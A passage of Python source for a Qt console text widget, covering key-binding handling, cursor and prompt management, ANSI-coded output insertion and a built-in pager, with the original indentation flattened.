return bool(down) ^ bool(modifiers & QtCore.Qt.MetaModifier)
else:
return bool(modifiers & QtCore.Qt.ControlModifier)
def _create_control(self):
""" Creates and connects the underlying text widget.
"""
# Create the underlying control.
if self.custom_control:
control = self.custom_control()
elif self.kind == 'plain':
control = QtWidgets.QPlainTextEdit()
elif self.kind == 'rich':
control = QtWidgets.QTextEdit()
control.setAcceptRichText(False)
control.setMouseTracking(True)
# Prevent the widget from handling drops, as we already provide
# the logic in this class.
control.setAcceptDrops(False)
# Install event filters. The filter on the viewport is needed for
# mouse events.
control.installEventFilter(self)
control.viewport().installEventFilter(self)
# Connect signals.
control.customContextMenuRequested.connect(
self._custom_context_menu_requested)
control.copyAvailable.connect(self.copy_available)
control.redoAvailable.connect(self.redo_available)
control.undoAvailable.connect(self.undo_available)
# Hijack the document size change signal to prevent Qt from adjusting
# the viewport's scrollbar. We are relying on an implementation detail
# of Q(Plain)TextEdit here, which is potentially dangerous, but without
# this functionality we cannot create a nice terminal interface.
layout = control.document().documentLayout()
layout.documentSizeChanged.disconnect()
layout.documentSizeChanged.connect(self._adjust_scrollbars)
# Configure the scrollbar policy
if self.scrollbar_visibility:
scrollbar_policy = QtCore.Qt.ScrollBarAlwaysOn
else :
scrollbar_policy = QtCore.Qt.ScrollBarAlwaysOff
# Configure the control.
control.setAttribute(QtCore.Qt.WA_InputMethodEnabled, True)
control.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(scrollbar_policy)
return control
def _create_page_control(self):
""" Creates and connects the underlying paging widget.
"""
if self.custom_page_control:
control = self.custom_page_control()
elif self.kind == 'plain':
control = QtWidgets.QPlainTextEdit()
elif self.kind == 'rich':
control = QtWidgets.QTextEdit()
control.installEventFilter(self)
viewport = control.viewport()
viewport.installEventFilter(self)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
# Configure the scrollbar policy
if self.scrollbar_visibility:
scrollbar_policy = QtCore.Qt.ScrollBarAlwaysOn
else :
scrollbar_policy = QtCore.Qt.ScrollBarAlwaysOff
control.setVerticalScrollBarPolicy(scrollbar_policy)
return control
def _event_filter_console_keypress(self, event):
""" Filter key events for the underlying text widget to create a
console-like interface.
"""
intercepted = False
cursor = self._control.textCursor()
position = cursor.position()
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
shift_down = event.modifiers() & QtCore.Qt.ShiftModifier
#------ Special modifier logic -----------------------------------------
if key in (QtCore.Qt.Key_Return, QtCore.Qt.Key_Enter):
intercepted = True
# Special handling when tab completing in text mode.
self._cancel_completion()
if self._in_buffer(position):
# Special handling when a reading a line of raw input.
if self._reading:
self._append_plain_text('\n')
self._reading = False
if self._reading_callback:
self._reading_callback()
# If the input buffer is a single line or there is only
# whitespace after the cursor, execute. Otherwise, split the
# line with a continuation prompt.
elif not self._executing:
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
at_end = len(cursor.selectedText().strip()) == 0
single_line = (self._get_end_cursor().blockNumber() ==
self._get_prompt_cursor().blockNumber())
if (at_end or shift_down or single_line) and not ctrl_down:
self.execute(interactive = not shift_down)
else:
# Do this inside an edit block for clean undo/redo.
pos = self._get_input_buffer_cursor_pos()
def callback(complete, indent):
try:
cursor.beginEditBlock()
cursor.setPosition(position)
cursor.insertText('\n')
self._insert_continuation_prompt(cursor)
if indent:
cursor.insertText(indent)
finally:
cursor.endEditBlock()
# Ensure that the whole input buffer is visible.
# FIXME: This will not be usable if the input buffer is
# taller than the console widget.
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
self._register_is_complete_callback(
self._get_input_buffer()[:pos], callback)
#------ Control/Cmd modifier -------------------------------------------
elif ctrl_down:
if key == QtCore.Qt.Key_G:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_K:
if self._in_buffer(position):
cursor.clearSelection()
cursor.movePosition(QtGui.QTextCursor.EndOfLine,
QtGui.QTextCursor.KeepAnchor)
if not cursor.hasSelection():
# Line deletion (remove continuation prompt)
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
self._kill_ring.kill_cursor(cursor)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_L:
self.prompt_to_top()
intercepted = True
elif key == QtCore.Qt.Key_O:
if self._page_control and self._page_control.isVisible():
self._page_control.setFocus()
intercepted = True
elif key == QtCore.Qt.Key_U:
if self._in_buffer(position):
cursor.clearSelection()
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
offset = len(self._prompt)
else:
offset = len(self._continuation_prompt)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor, offset)
self._kill_ring.kill_cursor(cursor)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Y:
self._keep_cursor_in_buffer()
self._kill_ring.yank()
intercepted = True
elif key in (QtCore.Qt.Key_Backspace, QtCore.Qt.Key_Delete):
if key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
else: # key == QtCore.Qt.Key_Delete
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_D:
if len(self.input_buffer) == 0 and not self._executing:
self.exit_requested.emit(self)
# if executing and input buffer empty
elif len(self._get_input_buffer(force=True)) == 0:
# input a EOT ansi control character
self._control.textCursor().insertText(chr(4))
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Return,
QtCore.Qt.NoModifier)
QtWidgets.qApp.sendEvent(self._control, new_event)
intercepted = True
else:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Delete,
QtCore.Qt.NoModifier)
QtWidgets.qApp.sendEvent(self._control, new_event)
intercepted = True
#------ Alt modifier ---------------------------------------------------
elif alt_down:
if key == QtCore.Qt.Key_B:
self._set_cursor(self._get_word_start_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_F:
self._set_cursor(self._get_word_end_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_Y:
self._kill_ring.rotate()
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_D:
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Delete:
intercepted = True
elif key == QtCore.Qt.Key_Greater:
self._control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._control.setTextCursor(self._get_prompt_cursor())
intercepted = True
#------ No modifiers ---------------------------------------------------
else:
self._trigger_is_complete_callback()
if shift_down:
anchormode = QtGui.QTextCursor.KeepAnchor
else:
anchormode = QtGui.QTextCursor.MoveAnchor
if key == QtCore.Qt.Key_Escape:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_Up:
if self._reading or not self._up_pressed(shift_down):
intercepted = True
else:
prompt_line = self._get_prompt_cursor().blockNumber()
intercepted = cursor.blockNumber() <= prompt_line
elif key == QtCore.Qt.Key_Down:
if self._reading or not self._down_pressed(shift_down):
intercepted = True
else:
end_line = self._get_end_cursor().blockNumber()
intercepted = cursor.blockNumber() == end_line
elif key == QtCore.Qt.Key_Tab:
if not self._reading:
if self._tab_pressed():
self._indent(dedent=False)
intercepted = True
elif key == QtCore.Qt.Key_Backtab:
self._indent(dedent=True)
intercepted = True
elif key == QtCore.Qt.Key_Left:
# Move to the previous line
line, col = cursor.blockNumber(), cursor.columnNumber()
if line > self._get_prompt_cursor().blockNumber() and \
col == len(self._continuation_prompt):
self._control.moveCursor(QtGui.QTextCursor.PreviousBlock,
mode=anchormode)
self._control.moveCursor(QtGui.QTextCursor.EndOfBlock,
mode=anchormode)
intercepted = True
# Regular left movement
else:
intercepted = not self._in_buffer(position - 1)
elif key == QtCore.Qt.Key_Right:
#original_block_number = cursor.blockNumber()
if position == self._get_line_end_pos():
cursor.movePosition(QtGui.QTextCursor.NextBlock, mode=anchormode)
cursor.movePosition(QtGui.QTextCursor.Right,
mode=anchormode,
n=len(self._continuation_prompt))
self._control.setTextCursor(cursor)
else:
self._control.moveCursor(QtGui.QTextCursor.Right,
mode=anchormode)
intercepted = True
elif key == QtCore.Qt.Key_Home:
start_pos = self._get_line_start_pos()
c = self._get_cursor()
spaces = self._get_leading_spaces()
if (c.position() > start_pos + spaces or
c.columnNumber() == len(self._continuation_prompt)):
start_pos += spaces # Beginning of text
if shift_down and self._in_buffer(position):
if c.selectedText():
sel_max = max(c.selectionStart(), c.selectionEnd())
cursor.setPosition(sel_max,
QtGui.QTextCursor.MoveAnchor)
cursor.setPosition(start_pos, QtGui.QTextCursor.KeepAnchor)
else:
cursor.setPosition(start_pos)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
# Line deletion (remove continuation prompt)
line, col = cursor.blockNumber(), cursor.columnNumber()
if not self._reading and \
col == len(self._continuation_prompt) and \
line > self._get_prompt_cursor().blockNumber():
cursor.beginEditBlock()
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
cursor.deletePreviousChar()
cursor.endEditBlock()
intercepted = True
# Regular backwards deletion
else:
anchor = cursor.anchor()
if anchor == position:
intercepted = not self._in_buffer(position - 1)
else:
intercepted = not self._in_buffer(min(anchor, position))
elif key == QtCore.Qt.Key_Delete:
# Line deletion (remove continuation prompt)
if not self._reading and self._in_buffer(position) and \
cursor.atBlockEnd() and not cursor.hasSelection():
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
cursor.removeSelectedText()
intercepted = True
# Regular forwards deletion:
else:
anchor = cursor.anchor()
intercepted = (not self._in_buffer(anchor) or
not self._in_buffer(position))
#------ Special sequences ----------------------------------------------
if not intercepted:
if event.matches(QtGui.QKeySequence.Copy):
self.copy()
intercepted = True
elif event.matches(QtGui.QKeySequence.Cut):
self.cut()
intercepted = True
elif event.matches(QtGui.QKeySequence.Paste):
self.paste()
intercepted = True
# Don't move the cursor if Control/Cmd is pressed to allow copy-paste
# using the keyboard in any part of the buffer. Also, permit scrolling
# with Page Up/Down keys. Finally, if we're executing, don't move the
# cursor (if even this made sense, we can't guarantee that the prompt
# position is still valid due to text truncation).
if not (self._control_key_down(event.modifiers(), include_command=True)
or key in (QtCore.Qt.Key_PageUp, QtCore.Qt.Key_PageDown)
or (self._executing and not self._reading)):
self._keep_cursor_in_buffer()
return intercepted
def _event_filter_page_keypress(self, event):
""" Filter key events for the paging widget to create console-like
interface.
"""
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
if ctrl_down:
if key == QtCore.Qt.Key_O:
self._control.setFocus()
return True
elif alt_down:
if key == QtCore.Qt.Key_Greater:
self._page_control.moveCursor(QtGui.QTextCursor.End)
return True
elif key == QtCore.Qt.Key_Less:
self._page_control.moveCursor(QtGui.QTextCursor.Start)
return True
elif key in (QtCore.Qt.Key_Q, QtCore.Qt.Key_Escape):
if self._splitter:
self._page_control.hide()
self._control.setFocus()
else:
self.layout().setCurrentWidget(self._control)
# re-enable buffer truncation after paging
self._control.document().setMaximumBlockCount(self.buffer_size)
return True
elif key in (QtCore.Qt.Key_Enter, QtCore.Qt.Key_Return,
QtCore.Qt.Key_Tab):
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageDown,
QtCore.Qt.NoModifier)
QtWidgets.qApp.sendEvent(self._page_control, new_event)
return True
elif key == QtCore.Qt.Key_Backspace:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageUp,
QtCore.Qt.NoModifier)
QtWidgets.qApp.sendEvent(self._page_control, new_event)
return True
# vi/less -like key bindings
elif key == QtCore.Qt.Key_J:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Down,
QtCore.Qt.NoModifier)
QtWidgets.qApp.sendEvent(self._page_control, new_event)
return True
# vi/less -like key bindings
elif key == QtCore.Qt.Key_K:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Up,
QtCore.Qt.NoModifier)
QtWidgets.qApp.sendEvent(self._page_control, new_event)
return True
return False
def _on_flush_pending_stream_timer(self):
""" Flush the pending stream output and change the
prompt position appropriately.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
self._flush_pending_stream()
cursor.movePosition(QtGui.QTextCursor.End)
def _flush_pending_stream(self):
""" Flush out pending text into the widget. """
text = self._pending_insert_text
self._pending_insert_text = []
buffer_size = self._control.document().maximumBlockCount()
if buffer_size > 0:
text = self._get_last_lines_from_list(text, buffer_size)
text = ''.join(text)
t = time.time()
self._insert_plain_text(self._get_end_cursor(), text, flush=True)
# Set the flush interval to equal the maximum time to update text.
self._pending_text_flush_interval.setInterval(max(100,
(time.time()-t)*1000))
def _format_as_columns(self, items, separator=' '):
""" Transform a list of strings into a single string with columns.
Parameters
----------
items : sequence of strings
The strings to process.
separator : str, optional [default is two spaces]
The string that separates columns.
Returns
-------
The formatted string.
"""
# Calculate the number of characters available.
width = self._control.document().textWidth()
char_width = QtGui.QFontMetrics(self.font).width(' ')
displaywidth = max(10, (width / char_width) - 1)
return columnize(items, separator, displaywidth)
def _get_block_plain_text(self, block):
""" Given a QTextBlock, return its unformatted text.
"""
cursor = QtGui.QTextCursor(block)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
cursor.movePosition(QtGui.QTextCursor.EndOfBlock,
QtGui.QTextCursor.KeepAnchor)
return cursor.selection().toPlainText()
def _get_cursor(self):
""" Get a cursor at the current insert position.
"""
return self._control.textCursor()
def _get_end_cursor(self):
""" Get a cursor at the last character of the current cell.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
return cursor
def _get_end_pos(self):
""" Get the position of the last character of the current cell.
"""
return self._get_end_cursor().position()
def _get_line_start_cursor(self):
""" Get a cursor at the first character of the current line.
"""
cursor = self._control.textCursor()
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
cursor.setPosition(self._prompt_pos)
else:
cursor.movePosition(QtGui.QTextCursor.StartOfLine)
cursor.setPosition(cursor.position() +
len(self._continuation_prompt))
return cursor
def _get_line_start_pos(self):
""" Get the position of the first character of the current line.
"""
return self._get_line_start_cursor().position()
def _get_line_end_cursor(self):
""" Get a cursor at the last character of the current line.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.EndOfLine)
return cursor
def _get_line_end_pos(self):
""" Get the position of the last character of the current line.
"""
return self._get_line_end_cursor().position()
def _get_input_buffer_cursor_column(self):
""" Get the column of the cursor in the input buffer, excluding the
contribution by the prompt, or -1 if there is no such column.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return -1
else:
cursor = self._control.textCursor()
return cursor.columnNumber() - len(prompt)
def _get_input_buffer_cursor_line(self):
""" Get the text of the line of the input buffer that contains the
cursor, or None if there is no such line.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return None
else:
cursor = self._control.textCursor()
text = self._get_block_plain_text(cursor.block())
return text[len(prompt):]
def _get_input_buffer_cursor_pos(self):
"""Get the cursor position within the input buffer."""
cursor = self._control.textCursor()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
input_buffer = cursor.selection().toPlainText()
# Don't count continuation prompts
return len(input_buffer.replace('\n' + self._continuation_prompt, '\n'))
def _get_input_buffer_cursor_prompt(self):
""" Returns the (plain text) prompt for line of the input buffer that
contains the cursor, or None if there is no such line.
"""
if self._executing:
return None
cursor = self._control.textCursor()
if cursor.position() >= self._prompt_pos:
if cursor.blockNumber() == self._get_prompt_cursor().blockNumber():
return self._prompt
else:
return self._continuation_prompt
else:
return None
def _get_last_lines(self, text, num_lines, return_count=False):
""" Get the last specified number of lines of text (like `tail -n`).
If return_count is True, returns a tuple of clipped text and the
number of lines in the clipped text.
"""
pos = len(text)
if pos < num_lines:
if return_count:
return text, text.count('\n') if return_count else text
else:
return text
i = 0
while i < num_lines:
pos = text.rfind('\n', None, pos)
if pos == -1:
pos = None
break
i += 1
if return_count:
return text[pos:], i
else:
return text[pos:]
def _get_last_lines_from_list(self, text_list, num_lines):
""" Get the list of text clipped to last specified lines.
"""
ret = []
lines_pending = num_lines
for text in reversed(text_list):
text, lines_added = self._get_last_lines(text, lines_pending,
return_count=True)
ret.append(text)
lines_pending -= lines_added
if lines_pending <= 0:
break
return ret[::-1]
def _get_leading_spaces(self):
""" Get the number of leading spaces of the current line.
"""
cursor = self._get_cursor()
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
# first line
offset = len(self._prompt)
else:
# continuation
offset = len(self._continuation_prompt)
cursor.select(QtGui.QTextCursor.LineUnderCursor)
text = cursor.selectedText()[offset:]
return len(text) - len(text.lstrip())
@property
def _prompt_pos(self):
""" Find the position in the text right after the prompt.
"""
return min(self._prompt_cursor.position() + 1, self._get_end_pos())
@property
def _append_before_prompt_pos(self):
""" Find the position in the text right before the prompt.
"""
return min(self._append_before_prompt_cursor.position(),
self._get_end_pos())
def _get_prompt_cursor(self):
""" Get a cursor at the prompt position of the current cell.
"""
cursor = self._control.textCursor()
cursor.setPosition(self._prompt_pos)
return cursor
def _get_selection_cursor(self, start, end):
""" Get a cursor with text selected between the positions 'start' and
'end'.
"""
cursor = self._control.textCursor()
cursor.setPosition(start)
cursor.setPosition(end, QtGui.QTextCursor.KeepAnchor)
return cursor
def _get_word_start_cursor(self, position):
""" Find the start of the word to the left the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
cursor = self._control.textCursor()
line_start_pos = self._get_line_start_pos()
if position == self._prompt_pos:
return cursor
elif position == line_start_pos:
# Cursor is at the beginning of a line, move to the last
# non-whitespace character of the previous line
cursor = self._control.textCursor()
cursor.setPosition(position)
cursor.movePosition(QtGui.QTextCursor.PreviousBlock)
cursor.movePosition(QtGui.QTextCursor.EndOfBlock)
position = cursor.position()
while (
position >= self._prompt_pos and
is_whitespace(document.characterAt(position))
):
position -= 1
cursor.setPosition(position + 1)
else:
position -= 1
# Find the last alphanumeric char, but don't move across lines
while (
position >= self._prompt_pos and
position >= line_start_pos and
not is_letter_or_number(document.characterAt(position))
):
position -= 1
# Find the first alphanumeric char, but don't move across lines
while (
position >= self._prompt_pos and
position >= line_start_pos and
is_letter_or_number(document.characterAt(position))
):
position -= 1
cursor.setPosition(position + 1)
return cursor
def _get_word_end_cursor(self, position):
""" Find the end of the word to the right the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
cursor = self._control.textCursor()
end_pos = self._get_end_pos()
line_end_pos = self._get_line_end_pos()
if position == end_pos:
# Cursor is at the very end of the buffer
return cursor
elif position == line_end_pos:
# Cursor is at the end of a line, move to the first
# non-whitespace character of the next line
cursor = self._control.textCursor()
cursor.setPosition(position)
cursor.movePosition(QtGui.QTextCursor.NextBlock)
position = cursor.position() + len(self._continuation_prompt)
while (
position < end_pos and
is_whitespace(document.characterAt(position))
):
position += 1
cursor.setPosition(position)
else:
if is_whitespace(document.characterAt(position)):
# The next character is whitespace. If this is part of
# indentation whitespace, skip to the first non-whitespace
# character.
is_indentation_whitespace = True
back_pos = position - 1
line_start_pos = self._get_line_start_pos()
while back_pos >= line_start_pos:
if not is_whitespace(document.characterAt(back_pos)):
is_indentation_whitespace = False
break
back_pos -= 1
if is_indentation_whitespace:
# Skip to the first non-whitespace character
while (
position < end_pos and
position < line_end_pos and
is_whitespace(document.characterAt(position))
):
position += 1
cursor.setPosition(position)
return cursor
while (
position < end_pos and
position < line_end_pos and
not is_letter_or_number(document.characterAt(position))
):
position += 1
while (
position < end_pos and
position < line_end_pos and
is_letter_or_number(document.characterAt(position))
):
position += 1
cursor.setPosition(position)
return cursor
def _indent(self, dedent=True):
""" Indent/Dedent current line or current text selection.
"""
num_newlines = self._get_cursor().selectedText().count(u"\u2029")
save_cur = self._get_cursor()
cur = self._get_cursor()
# move to first line of selection, if present
cur.setPosition(cur.selectionStart())
self._control.setTextCursor(cur)
spaces = self._get_leading_spaces()
# calculate number of spaces neded to align/indent to 4-space multiple
step = self._tab_width - (spaces % self._tab_width)
# insertText shouldn't replace if selection is active
cur.clearSelection()
# indent all lines in selection (ir just current) by `step`
for _ in range(num_newlines+1):
# update underlying cursor for _get_line_start_pos
self._control.setTextCursor(cur)
# move to first non-ws char on line
cur.setPosition(self._get_line_start_pos())
if dedent:
spaces = min(step, self._get_leading_spaces())
safe_step = spaces % self._tab_width
cur.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
min(spaces, safe_step if safe_step != 0
else self._tab_width))
cur.removeSelectedText()
else:
cur.insertText(' '*step)
cur.movePosition(QtGui.QTextCursor.Down)
# restore cursor
self._control.setTextCursor(save_cur)
def _insert_continuation_prompt(self, cursor, indent=''):
""" Inserts new continuation prompt using the specified cursor.
"""
if self._continuation_prompt_html is None:
self._insert_plain_text(cursor, self._continuation_prompt)
else:
self._continuation_prompt = self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
if indent:
cursor.insertText(indent)
def _insert_block(self, cursor, block_format=None):
""" Inserts an empty QTextBlock using the specified cursor.
"""
if block_format is None:
block_format = QtGui.QTextBlockFormat()
cursor.insertBlock(block_format)
def _insert_html(self, cursor, html):
""" Inserts HTML using the specified cursor in such a way that future
formatting is unaffected.
"""
cursor.beginEditBlock()
cursor.insertHtml(html)
# After inserting HTML, the text document "remembers" it's in "html
# mode", which means that subsequent calls adding plain text will result
# in unwanted formatting, lost tab characters, etc. The following code
# hacks around this behavior, which I consider to be a bug in Qt, by
# (crudely) resetting the document's style state.
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() == ' ':
cursor.removeSelectedText()
else:
cursor.movePosition(QtGui.QTextCursor.Right)
cursor.insertText(' ', QtGui.QTextCharFormat())
cursor.endEditBlock()
def _insert_html_fetching_plain_text(self, cursor, html):
""" Inserts HTML using the specified cursor, then returns its plain text
version.
"""
cursor.beginEditBlock()
cursor.removeSelectedText()
start = cursor.position()
self._insert_html(cursor, html)
end = cursor.position()
cursor.setPosition(start, QtGui.QTextCursor.KeepAnchor)
text = cursor.selection().toPlainText()
cursor.setPosition(end)
cursor.endEditBlock()
return text
def _insert_plain_text(self, cursor, text, flush=False):
""" Inserts plain text using the specified cursor, processing ANSI codes
if enabled.
"""
# maximumBlockCount() can be different from self.buffer_size in
# case input prompt is active.
buffer_size = self._control.document().maximumBlockCount()
if (self._executing and not flush and
self._pending_text_flush_interval.isActive() and
cursor.position() == self._get_end_pos()):
# Queue the text to insert in case it is being inserted at end
self._pending_insert_text.append(text)
if buffer_size > 0:
self._pending_insert_text = self._get_last_lines_from_list(
self._pending_insert_text, buffer_size)
return
if self._executing and not self._pending_text_flush_interval.isActive():
self._pending_text_flush_interval.start()
# Clip the text to last `buffer_size` lines.
if buffer_size > 0:
text = self._get_last_lines(text, buffer_size)
viewport = self._control.viewport()
end_scroll_pos = self._control.cursorForPosition(
QtCore.QPoint(viewport.width()-1, viewport.height()-1)
).position()
end_doc_pos = self._get_end_pos()
cursor.beginEditBlock()
if self.ansi_codes:
for substring in self._ansi_processor.split_string(text):
for act in self._ansi_processor.actions:
# Unlike real terminal emulators, we don't distinguish
# between the screen and the scrollback buffer. A screen
# erase request clears everything.
if act.action == 'erase' and act.area == 'screen':
cursor.select(QtGui.QTextCursor.Document)
cursor.removeSelectedText()
# Simulate a form feed by scrolling just past the last line.
elif act.action == 'scroll' and act.unit == 'page':
cursor.insertText('\n')
cursor.endEditBlock()
self._set_top_cursor(cursor)
cursor.joinPreviousEditBlock()
cursor.deletePreviousChar()
if os.name == 'nt':
cursor.select(QtGui.QTextCursor.Document)
cursor.removeSelectedText()
elif act.action == 'carriage-return':
cursor.movePosition(
cursor.StartOfLine, cursor.KeepAnchor)
elif act.action == 'beep':
QtWidgets.qApp.beep()
elif act.action == 'backspace':
if not cursor.atBlockStart():
cursor.movePosition(
cursor.PreviousCharacter, cursor.KeepAnchor)
elif act.action == 'newline':
cursor.movePosition(cursor.EndOfLine)
format = self._ansi_processor.get_format()
selection = cursor.selectedText()
if len(selection) == 0:
cursor.insertText(substring, format)
elif substring is not None:
# BS and CR are treated as a change in print
# position, rather than a backwards character
# deletion for output equivalence with (I)Python
# terminal.
if len(substring) >= len(selection):
cursor.insertText(substring, format)
else:
old_text = selection[len(substring):]
cursor.insertText(substring + old_text, format)
cursor.movePosition(cursor.PreviousCharacter,
cursor.KeepAnchor, len(old_text))
else:
cursor.insertText(text)
cursor.endEditBlock()
if end_doc_pos - end_scroll_pos <= 1:
end_scroll = (self._control.verticalScrollBar().maximum()
- self._control.verticalScrollBar().pageStep())
# Only scroll down
if end_scroll > self._control.verticalScrollBar().value():
self._control.verticalScrollBar().setValue(end_scroll)
def _insert_plain_text_into_buffer(self, cursor, text):
""" Inserts text into the input buffer using the specified cursor (which
must be in the input buffer), ensuring that continuation prompts are
inserted as necessary.
"""
lines = text.splitlines(True)
if lines:
if lines[-1].endswith('\n'):
# If the text ends with a newline, add a blank line so a new
# continuation prompt is produced.
lines.append('')
cursor.beginEditBlock()
cursor.insertText(lines[0])
for line in lines[1:]:
if self._continuation_prompt_html is None:
cursor.insertText(self._continuation_prompt)
else:
self._continuation_prompt = \
self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
cursor.insertText(line)
cursor.endEditBlock()
def _in_buffer(self, position=None):
""" Returns whether the current cursor (or, if specified, a position) is
inside the editing region.
"""
cursor = self._control.textCursor()
if position is None:
position = cursor.position()
else:
cursor.setPosition(position)
line = cursor.blockNumber()
prompt_line = self._get_prompt_cursor().blockNumber()
if line == prompt_line:
return position >= self._prompt_pos
elif line > prompt_line:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
prompt_pos = cursor.position() + len(self._continuation_prompt)
return position >= prompt_pos
return False
def _keep_cursor_in_buffer(self):
""" Ensures that the cursor is inside the editing region. Returns
whether the cursor was moved.
"""
moved = not self._in_buffer()
if moved:
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
return moved
def _keyboard_quit(self):
""" Cancels the current editing task ala Ctrl-G in Emacs.
"""
if self._temp_buffer_filled :
self._cancel_completion()
self._clear_temporary_buffer()
else:
self.input_buffer = ''
def _page(self, text, html=False):
""" Displays text using the pager if it exceeds the height of the
viewport.
Parameters
----------
html : bool, optional (default False)
If set, the text will be interpreted as HTML instead of plain text.
"""
line_height = QtGui.QFontMetrics(self.font).height()
minlines = self._control.viewport().height() / line_height
if self.paging != 'none' and \
re.match("(?:[^\n]*\n){%i}" % minlines, text):
if self.paging == 'custom':
self.custom_page_requested.emit(text)
else:
# disable buffer truncation during paging
self._control.document().setMaximumBlockCount(0)
self._page_control.clear()
cursor = self._page_control.textCursor()
if html:
self._insert_html(cursor, text)
else:
self._insert_plain_text(cursor, text)
self._page_control.moveCursor(QtGui.QTextCursor.Start)
self._page_control.viewport().resize(self._control.size())
if self._splitter:
self._page_control.show()
self._page_control.setFocus()
else:
self.layout().setCurrentWidget(self._page_control)
elif html:
self._append_html(text)
else:
self._append_plain_text(text)
def _set_paging(self, paging):
"""
Change the pager to `paging` style.
Parameters
----------
paging : string
Either "hsplit", "vsplit", or "inside"
"""
if self._splitter is None:
raise NotImplementedError("""can only switch if --paging=hsplit or
--paging=vsplit is used.""")
if paging == 'hsplit':
self._splitter.setOrientation(QtCore.Qt.Horizontal)
elif paging == 'vsplit':
self._splitter.setOrientation(QtCore.Qt.Vertical)
elif paging == 'inside':
raise NotImplementedError("""switching to 'inside' paging not
supported yet.""")
else:
raise ValueError("unknown paging method '%s'" % paging)
self.paging = paging
def _prompt_finished(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
self._control.setReadOnly(True)
self._prompt_finished_hook()
def _prompt_started(self):
""" Called immediately after a new prompt is displayed.
"""
# Temporarily disable the maximum block count to permit undo/redo and
# to ensure that the prompt position does not change due to truncation.
self._control.document().setMaximumBlockCount(0)
self._control.setUndoRedoEnabled(True)
# Work around bug in QPlainTextEdit: input method is not re-enabled
# when read-only is disabled.
self._control.setReadOnly(False)
self._control.setAttribute(QtCore.Qt.WA_InputMethodEnabled, True)
if not self._reading:
self._executing = False
self._prompt_started_hook()
# If the input buffer has changed while executing, load it.
if self._input_buffer_pending:
self.input_buffer = self._input_buffer_pending
self._input_buffer_pending = ''
self._control.moveCursor(QtGui.QTextCursor.End)
def _readline(self, prompt='', callback=None, password=False):
""" Reads one line of input from the user.
Parameters
----------
